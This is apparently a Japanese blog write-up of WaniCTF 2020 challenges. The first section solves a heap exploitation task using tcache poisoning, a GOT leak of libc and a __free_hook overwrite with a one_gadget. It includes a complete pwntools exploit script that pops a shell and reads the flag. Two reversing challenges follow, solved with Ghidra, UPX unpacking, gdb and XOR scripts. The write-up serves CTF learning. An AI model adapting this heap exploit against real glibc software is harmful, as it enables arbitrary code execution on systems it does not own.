+--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000021 | +--------------------+ | 0x0000000000000000 | <-- 0 +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000021 | +--------------------+ | 0x0000000000000000 | <-- (1) +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000021 | +--------------------+ | 0x0000000000000000 | <-- (2) +--------------------+ | 0x0000000000000000 | +--------------------+
ここで、tcacheにはいっている領域の fd
(次のtcache領域へのポインタ)を、好きな関数へのポインタで上書きしてしまいます。
6. edit(0, 'a'*0x10 + p64(0) + p64(0x21) + p64(0xdeadbeaf))
+--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000021 | +--------------------+ | 0x6161616161616161 | <-- 0 +--------------------+ | 0x6161616161616161 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000021 | +--------------------+ | 0x00000000deadbeaf | <-- (1) +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000021 | +--------------------+ | 0x0000000000000000 | <-- (2) +--------------------+ | 0x0000000000000000 | +--------------------+
tcacheに入っている(1)の領域の先頭に0xdeadbeaf
が書かれました。tcache上では、この領域は次のtache領域へのポインタを示すので、(1)の領域の次に使われる領域が0xdeadbeaf
になります。
このポインタを、libcの__free_hook
のアドレスにしてあげると、free,すなわちdelが実行されるときにこの領域が実行されることになります。
今、tcacheの状態は下記のようになりました。
# tcache -> 1 -> __free_hook
__freehook
の領域がallocされるまでadd
を繰り返します。
7. add(1) # tcache -> __free_hook 8. add(2) # __free_hookの領域がとれる
__free_hook
が呼ばれたときの引数に当たる領域に、one_gadgetで取得したアドレスを書いておくと、free実行時にこれが実行されてshellが取れるはず。
9. edit(8, libc_base + onegadget_addr)
!!!!!
one_gadget
のアドレスはlibc_base
が必要なんだった。
ということで、その前にlibc_base
をリークさせる必要があります。
上記とだいたい同じ考え方で、tcacheの状態を綺麗にしたいので、違うサイズのtcacheを使うようにします。(今回はlibc_base
のリークをサイズ0x10, __free_hook
に仕掛けるのを0x20のサイズでやることにしました。なので上の解説とソースが若干異なります。)
1. add(0) 2. add(1) 3. add(2) 4. del(2) 5. del(1) # tcache -> 1 -> 2 -> NULL
さっきと一緒。
6. edit(0, 'a'*0x10 + p64(0) + p64(0x21) + p64(got@puts)) # tcache -> 1 -> got@puts 7. add(1) # tcache -> got@puts 8. add(2) # got@putsの領域がとれる
GOTは
オブジェクトがロードされた時(プログラムの起動時)には、GOTに特別な値を入れておき、本当の関数のアドレス調査を、その関数の初回呼び出し時まで遅延する
ので、このgot@putsに入っている値がputs関数のアドレス👍
libc_base
は、puts関数アドレス - libc_puts
で求めることが出来る。
よし、あとはone_gadgetでsystem実行してくれるアドレスを見つければ解けそう!
one_gadget実行結果
$ one_gadget libc-2.27.so 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
また3つ使えそうなのがでてきました。今回は2個目が刺さった。
これらを全部組み合わせたソルバ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * #host = 'rop.wanictf.org' host = 'localhost' port = 9008 elf = ELF('pwn08') libc = ELF('libc-2.27.so') one_gadget_addr = 0x4f432 def add_memo(r, idx, size): print(r.recvuntil(b'command?: ')) print('[add] ' + str(idx) + ', ' + str(size)) r.sendline('1') print(r.recvuntil(b'index?[0-9]: ')) r.sendline(str(idx)) print(r.recvuntil(b'size?: ')) r.sendline(str(size)) def edit_memo(r, idx, memo): print(r.recvuntil(b'command?: ')) print('[edit] ' + str(idx) + ', ' + str(memo)) r.sendline(b'2') r.recvuntil(b'index?[0-9]: ') r.sendline(str(idx)) r.recvuntil(b'memo?: ') r.sendline(memo) def view_memo(r, idx): print(r.recvuntil(b'command?: ')) print('[view] ' + str(idx)) r.sendline(b'3') r.recvuntil(b'index?[0-9]: ') r.sendline(str(idx)) return r.recv() def del_memo(r, idx): print(r.recvuntil(b'command?: ')) print('[del] ' + str(idx)) r.sendline(b'9') r.recvuntil(b'index?[0-9]: ') r.sendline(str(idx)) r = remote(host, port) # leak libc_base addr (using 0x10 tcache) add_memo(r, 0, 0x10) add_memo(r, 1, 0x10) add_memo(r, 2, 0x10) del_memo(r, 2) # tcache(0x10) -> 2 -> NULL del_memo(r, 1) # tcache(0x10) -> 1 -> 2 -> NULL payload = b'a' * 0x10 payload += p64(0) + p64(0x21) payload += p64(elf.got['puts']) # *fd of freed chunk 1 edit_memo(r, 0, payload) # tcache(0x10) -> 1 -> got@puts add_memo(r, 1, 0x10) # tcache(0x10) -> got@puts add_memo(r, 2, 0x10) # = got@puts res = view_memo(r, 2) puts_addr = int.from_bytes(res[:6], 'little') libc_base = puts_addr - libc.symbols['puts'] print('libc_base: ' + hex(libc_base)) # get shell (using 0x20 tcache) add_memo(r, 3, 0x20) add_memo(r, 4, 0x20) add_memo(r, 5, 0x20) del_memo(r, 5) # tcache(0x20) -> 5 -> NULL del_memo(r, 4) # tcache(0x20) -> 4 -> 5 -> NULL payload = b'a' * 0x20 payload += p64(0) + p64(0x31) payload += p64(libc_base + libc.symbols['__free_hook']) # *fd of freed chunk 4 edit_memo(r, 3, payload) # tcache(0x20) -> 4 -> free_hook add_memo(r, 4, 0x20) # tcache(0x20) -> free_hook add_memo(r, 5, 0x20) # = free_hook edit_memo(r, 5, p64(libc_base + one_gadget_addr)) # free_hook -> one_gadget del_memo(r, 5) # trigger free and execve("/bin/sh", rsp+0x40, environ) r.interactive()
実行結果
# python solve.py [*] '/root/ctf/wani/pwn08' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/root/ctf/wani/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ...(割愛)... libc_base: 0x7fe3dd87b000 ...(割愛)... [del] 5 [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{I-am-a-heap-beginner}
フラグゲットォォォォ٩(๑❛ᴗ❛๑)尸
waniCTFとても丁寧で良い問題があったのだけど、参加者がそんなに多くなかったのとheap問題だったのもあってか、この問題に関してはwriteupがそんなに無かった。
その中でも結構違う解き方とか、途中から枝分かれした解き方なんかがあって、皆さんのwriteupを見て楽しんでいました。間違ってるところなどあればご指摘いただけると嬉しいです。
[Reversing] complex [Hard]
この問題は「simple」問題よりも複雑なようです。
ツールの使い方をさらに調べつつ、トライしてください!
Writer : hi120ki
complex
ファイルが配布されます。
こちらもすぐghidraに突っ込んでみます。
関連が深い関数のdecompile結果(読みやすいように整形済)。
undefined8 main(void) { int ret; size_t input_len; char input_48 [48]; char input_5 [5]; char acStack67 [37]; char acStack30 [14]; int local_10; uint idx; printf("input flag : "); __isoc99_scanf(&DAT_00101dc2,input_5); input_len = strlen(input_5); // flag format check, flag_len = 43 if (((input_len != 0x2b) || (ret = strncmp(input_5,"FLAG{",5), ret != 0)) || (ret = strcmp(acStack30,"}"), ret != 0)) { puts("Incorrect"); return 1; } strncpy(input_48,acStack67,0x25); // 0x25 = 37 idx = 0; do { if (0x13 < (int)idx) { // 0x13 = 19 return 0; } check_ret = check((ulong)idx,input_48); if (check_ret != 0) { if (check_ret == 1) { puts("Incorrect"); return 1; } if (check_ret == 2) { printf("Correct! Flag is %s\n",input_5); return 0; } } idx = idx + 1; } while( true ); } void check(undefined4 idx, undefined8 input_string) { switch(idx) { case 0: check_0(input_string); break; case 1: check_1(input_string); break; case 2: check_2(input_string); break; case 3: check_3(input_string); break; case 4: check_4(input_string); break; case 5: check_5(input_string); break; case 6: check_6(input_string); break; case 7: check_7(input_string); break; case 8: check_8(input_string); break; case 9: check_9(input_string); break; case 10: check_10(input_string); break; case 0xb: check_11(input_string); break; case 0xc: check_12(input_string); break; case 0xd: check_13(input_string); break; case 0xe: check_14(input_string); break; case 0xf: check_15(input_string); break; case 0x10: check_16(input_string); break; case 0x11: check_17(input_string); break; case 0x12: check_18(input_string); break; case 0x13: check_19(input_string); } return; } undefined8 check_0(long input_string) { char local_68 [48]; char local_38 [44]; int idx; idx = 0; while( true ) { if (0x24 < idx) { // 0x24 = 36 return 1; } if (((int)local_38[(long)idx] ^ (uint)*(byte *)(input_string + (long)idx)) != (int)local_68[(long)idx]) break; idx = idx + 1; } return 0; } (以下check関数はほぼ同じ)
おー、これはなるほど。
まずFLAG{}
のフォーマットチェックをして、次に中身の文字をcheck
関数で処理している。
checkを全部見てみると、check_13
のみreturn 2
がある。
undefined8 check_13(long lParm1) { char local_68 [48]; char local_38 [44]; int local_c; local_c = 0; while( true ) { if (0x24 < local_c) { return 2; } if (((int)local_38[(long)local_c] ^ (uint)*(byte *)(lParm1 + (long)local_c)) != (int)local_68[(long)local_c]) break; local_c = local_c + 1; } return 1; }
flagはcheck_ret
が2のときだけ表示されるので、check_13
を満たす入力が正解っぽい。
local_68
とlocal_38
をxorすれば良さそうなんだけど、それぞれどの値が入ってるのかわからないなー。動的解析しないと無理かな??
競技中のメモはここで終わっている。
reversing問題、大体ghidraでdecompileしてもらって、それをじっくり解読して解く、っていう力技芸しか持っていないので、短い競技期間中に他のジャンルも解きながら手を出すには時間がたりなさすぎた。シュッと解く技を身につけなければ…。
ということで、他の人のwriteupや想定解をみて勉強。
!!!
途中までほぼ一緒じゃん…。想定された解き方だった…。
問題はおそらく、ghidraのdecompileを何の設定もせずに適当にやっているからか、local変数に入る値が取れてなかったこと。
とりあえず、使っていたghidraのバージョンが結構古かったので、色々機能追加されてるのかも!と思い最新版(9.2.2)をinsatllしました。
出たじゃん!!!(T-T)
ツールは常に最新に保ちましょう!特にghidraは最初に公開されたときからアップデートしてなかったのでは…。
ということで気を取り直して、
local_68
とlocal_38
をxorすれば良さそうなんだけど
をやってみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from Crypto.Util.number import long_to_bytes l_38 = 0x3834303131353334363531383634363634353138373932353131393431333637 l_68 = 0x675a42444550416b535d45675d57535e576a48545b5857476e44564d6e575f53 flag = l_38 ^ l_68 print(flag) print(long_to_bytes(flag)[::-1])
エンディアン考慮しながらコピペするのが面倒だったので、全部逆さまにしておいて最後に反転する作戦。
実行結果
$ python xor.py 43164863758191181965989803532770813652838059377566449456977026465573122632036 b'did_you_really_check_the_return_'
ghidraのversion…ガクッ orz
[Reversing] static [Very hard]
バイナリを注意深く見てみよう
ビルド環境 ubuntu 18.04 gcc latest
ヒント:まずは表層解析をして気になる文字列が見つかれば調べてみましょう
Writer : hi120ki
この問題は競技中未着手でした。
static
というバイナリが配布されます。
ヒントから、strings
コマンドとかやってみます。気になった文字列はこのあたりかなぁ。
$Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $ /proc/self/exe GCC: (Ubuntu 7.5.0-3u
UPXとやらを調べてみます。
なんかpackerらしいので、unpackしたら良いことがありそう。
ちょっと古い記事だけど、日本語の記事も発見。
UPXによるパックとアンパックとか | KentaKomai Blog
$ upx -v Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file.. Commands: -1 compress faster -9 compress better -d decompress -l list compressed file -t test compressed file -V display version number -h give more help -L display software license Options: -q be quiet -v be verbose -oFILE write output to 'FILE' -f force compression of suspicious files -k keep backup files file.. executables to (de)compress Type 'upx --help' for more detailed help. UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io
おっ!kali linuxにupx
入ってる!ラッキー!
解凍してみます。
$ upx -d static Ultimate Packer for eXecutables Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 File size Ratio Format Name -------------------- ------ ----------- ----------- 905656 <- 326508 36.05% linux/amd64 static Unpacked 1 file.
これでunpackした実行ファイルを、ghidraに食わせて解析してもらいます。
entry関数
void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3) { undefined8 in_stack_00000000; FUN_004012a0(FUN_00400f23,in_stack_00000000,&stack0x00000008,FUN_00401d00,FUN_00401da0,param_3); do { /* WARNING: Do nothing block with infinite loop */ } while( true ); }
から呼ばれているFUN_00400f2
を確認
bool FUN_00400f23(void) { int iVar1; long in_FS_OFFSET; undefined local_78 [48]; undefined local_48 [5]; undefined auStack67 [51]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); FUN_00410320("input flag : "); FUN_004104a0(&DAT_004b06a4,local_48); iVar1 = FUN_00400bb7(local_48); if (iVar1 != 0) { FUN_00400b9d(); } iVar1 = FUN_00400be3(local_48); if (iVar1 != 0) { FUN_00400b9d(); } iVar1 = FUN_00400c19(local_48); if (iVar1 != 0) { FUN_00400b9d(); } thunk_FUN_0040050e(local_78,auStack67,0x30,local_78); iVar1 = FUN_00400c4e(local_78); if (iVar1 != 0) { FUN_00411180("Incorrect"); } else { FUN_00410320("Correct! Flag is %s\n",local_48); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ FUN_00450650(); } return iVar1 == 0; }
これを読みやすくすると
bool FUN_00400f23(void) { int ret; undefined secret [48]; undefined input_str [5]; undefined auStack67 [51]; print("input flag : "); FUN_004104a0(&DAT_004b06a4,input_str); ret = check_len(input_str); // 0x36 if (ret != 0) { incorrect(); } ret = check_prefix(input_str); // FLAG{ if (ret != 0) { incorrect(); } ret = check_postfix(input_str); // } if (ret != 0) { incorrect(); } secret_from_flag(secret,auStack67,0x30,secret); ret = check_secret(secret); if (ret != 0) { exit("Incorrect"); } else { print("Correct! Flag is %s\n",input_str); } return ret == 0; }
flag長、formatのチェックをして、中身のチェックをしているようです。
肝心のflagのformat以外の部分をチェックしているロジックcheck_secret
はこんな感じ。
undefined check_secret(long param_1) { undefined ret; uint uVar2; int idx; uint answer [48]; uint key_xor [50]; ret = 0; answer[0] = 0x63c1d9cb; answer[1] = 0x383f1bb2; answer[2] = 0x4107dd90; answer[3] = 0x34841fb5; answer[4] = 0x3ebdf538; answer[5] = 0x31565585; answer[6] = 0x4def055e; answer[7] = 0x1bfdeb79; answer[8] = 0x24118ff9; answer[9] = 0x272298e8; answer[10] = 0x7abcb5e2; answer[11] = 0x9466371; answer[12] = 0x7799b008; answer[13] = 0x172289a0; answer[14] = 0x401a25a3; answer[15] = 0x39ce61b8; answer[16] = 0x56ec69a8; answer[17] = 0x106f1fbc; answer[18] = 0x77fc40dd; answer[19] = 0x4828ae9d; answer[20] = 0x2252bab7; answer[21] = 0x45935dcc; answer[22] = 0x7565bd9a; answer[23] = 0x5ae240c0; answer[24] = 0x20edd601; answer[25] = 0x47362402; answer[26] = 0xb61fcc7; answer[27] = 0x7c7607b7; answer[28] = 0x6cf7737d; answer[29] = 0x522262fa; answer[30] = 0x5ee1319b; answer[31] = 0x50b94ca2; answer[32] = 0xa617e04; answer[33] = 0x1fe90f3c; answer[34] = 0x53d6c81; answer[35] = 0x491f731d; answer[36] = 0x513f6544; answer[37] = 0x532c71b5; answer[38] = 0x651d5efb; answer[39] = 0x7550f572; answer[40] = 0x7a4f0aff; answer[41] = 0x5fda144e; answer[42] = 0x7e975877; answer[43] = 0x71e8ba89; answer[44] = 0x76fc9db7; answer[45] = 0x3eb17e6f; answer[46] = 0x2bb71c42; answer[47] = 0x4de907f2; FUN_0040f240(0x12bb0b7); idx = 0; while (idx < 0x30) { uVar2 = FUN_0040fa30(); key_xor[idx] = uVar2; idx = idx + 1; } idx = 0; while (idx < 0x30) { if (((uint)*(byte *)(param_1 + idx) ^ key_xor[idx]) != answer[idx]) { ret = 1; } idx = idx + 1; } return ret; // should be 0
入力のparam_1
と、FUN_0040fa30()
で生成されるkey_xor
をxorした結果がanswer
に慣れば良いところまではわかったのですが、FUN_0040f240
とFUN_0040fa30
の処理が深く複雑すぎてghidra上では追えない。(decompile結果としては追えるけど、理解の範囲を超えている)
ここで想定解を見てみると、
FUN_0040f240
はsrand()
、FUN_0040fa30
はrand()
の処理だそうなので、同じ処理をCで買いいてあげるとkey_xor
が再現可能、とのこと。でもこの解法はなかなか無理なのでは?と思い、他の方のwriteupを見てみると、gdb動的解析してkey_xor
を抜いている。今回はこの方法を習得することにしました。
参考にさせていただいたwriteup:
WaniCTF 2020 Writeup - Satoooonの物置
gdbを立ち上げて、まず key_xor に中身を埋めたあとの次の命令(index初期化のポイント)に breakpointを仕込みます。
$ gdb ./static GNU gdb (Debian 8.2.1-2) 8.2.1 ...(割愛)... gdb-peda$ b *0x00400e95 Breakpoint 1 at 0x400e95
runし、flagの長さとフォーマットで弾かれないように、下記のようにinput(flagの中身48文字)を入れます。
gdb-peda$ r Starting program: /root/ctf/wani/static input flag : FLAG{123456789012345678901234567890123456789012345678} ...(割愛)... Breakpoint 1, 0x0000000000400e95 in ?? ()
breakpointまで来ました!
次は、key_xor
(元のコードのauStack216
)に入っている値を抜きます。どこに入っているかは
より、rbp-0xd0
からの領域を見れば良さそうです。
gdb-peda$ x/48wx $rbp-0xd0 0x7fffffffdf10: 0x63c1d9b9 0x383f1bd1 0x4107dda4 0x34841fea 0x7fffffffdf20: 0x3ebdf50c 0x315655eb 0x4def053a 0x1bfdeb26 0x7fffffffdf30: 0x24118fca 0x2722989c 0x7abcb583 0x09466305 0x7fffffffdf40: 0x7799b061 0x172289c3 0x401a25fc 0x39ce6189 0x7fffffffdf50: 0x56ec69c1 0x106f1fd2 0x77fc40b6 0x4828aec2 0x7fffffffdf60: 0x2252ba83 0x45935da2 0x7565bdfe 0x5ae2409f 0x7fffffffdf70: 0x20edd672 0x47362435 0x0b61fcb5 0x7c7607de 0x7fffffffdf80: 0x6cf7730d 0x5222628a 0x5ee131a8 0x50b94cc6 0x7fffffffdf90: 0x0a617e5b 0x1fe90f4c 0x053d6cb0 0x491f7368 0x7fffffffdfa0: 0x513f6537 0x532c71ea 0x651d5e8e 0x7550f502 0x7fffffffdfb0: 0x7a4f0a87 0x5fda1411 0x7e975807 0x71e8bae8 0x7fffffffdfc0: 0x76fc9dd4 0x3eb17e04 0x2bb71c71 0x4de90796
よし。あとはxorを書くだけのはず。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- answer = [0x63c1d9cb, 0x383f1bb2, 0x4107dd90, 0x34841fb5, 0x3ebdf538, 0x31565585, 0x4def055e, 0x1bfdeb79, 0x24118ff9, 0x272298e8, 0x7abcb5e2, 0x9466371, 0x7799b008, 0x172289a0, 0x401a25a3, 0x39ce61b8, 0x56ec69a8, 0x106f1fbc, 0x77fc40dd, 0x4828ae9d, 0x2252bab7, 0x45935dcc, 0x7565bd9a, 0x5ae240c0, 0x20edd601, 0x47362402, 0xb61fcc7, 0x7c7607b7, 0x6cf7737d, 0x522262fa, 0x5ee1319b, 0x50b94ca2, 0xa617e04, 0x1fe90f3c, 0x53d6c81, 0x491f731d, 0x513f6544, 0x532c71b5, 0x651d5efb, 0x7550f572, 0x7a4f0aff, 0x5fda144e, 0x7e975877, 0x71e8ba89, 0x76fc9db7, 0x3eb17e6f, 0x2bb71c42, 0x4de907f2] key_xor = [0x63c1d9b9, 0x383f1bd1, 0x4107dda4, 0x34841fea, 0x3ebdf50c, 0x315655eb, 0x4def053a, 0x1bfdeb26, 0x24118fca, 0x2722989c, 0x7abcb583, 0x09466305, 0x7799b061, 0x172289c3, 0x401a25fc, 0x39ce6189, 0x56ec69c1, 0x106f1fd2, 0x77fc40b6, 0x4828aec2, 0x2252ba83, 0x45935da2, 0x7565bdfe, 0x5ae2409f, 0x20edd672, 0x47362435, 0x0b61fcb5, 0x7c7607de, 0x6cf7730d, 0x5222628a, 0x5ee131a8, 0x50b94cc6, 0x0a617e5b, 0x1fe90f4c, 0x053d6cb0, 0x491f7368, 0x513f6537, 0x532c71ea, 0x651d5e8e, 0x7550f502, 0x7a4f0a87, 0x5fda1411, 0x7e975807, 0x71e8bae8, 0x76fc9dd4, 0x3eb17e04, 0x2bb71c71, 0x4de90796] flag = "" for i in range(len(answer)): flag += chr(answer[i] ^ key_xor[i]) print(flag)
実行結果
$ python xor.py rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d
🙌 まだ競技本番中に動的解析実施して解いたこと無いので、修行を積んで解けるようにしておきたい。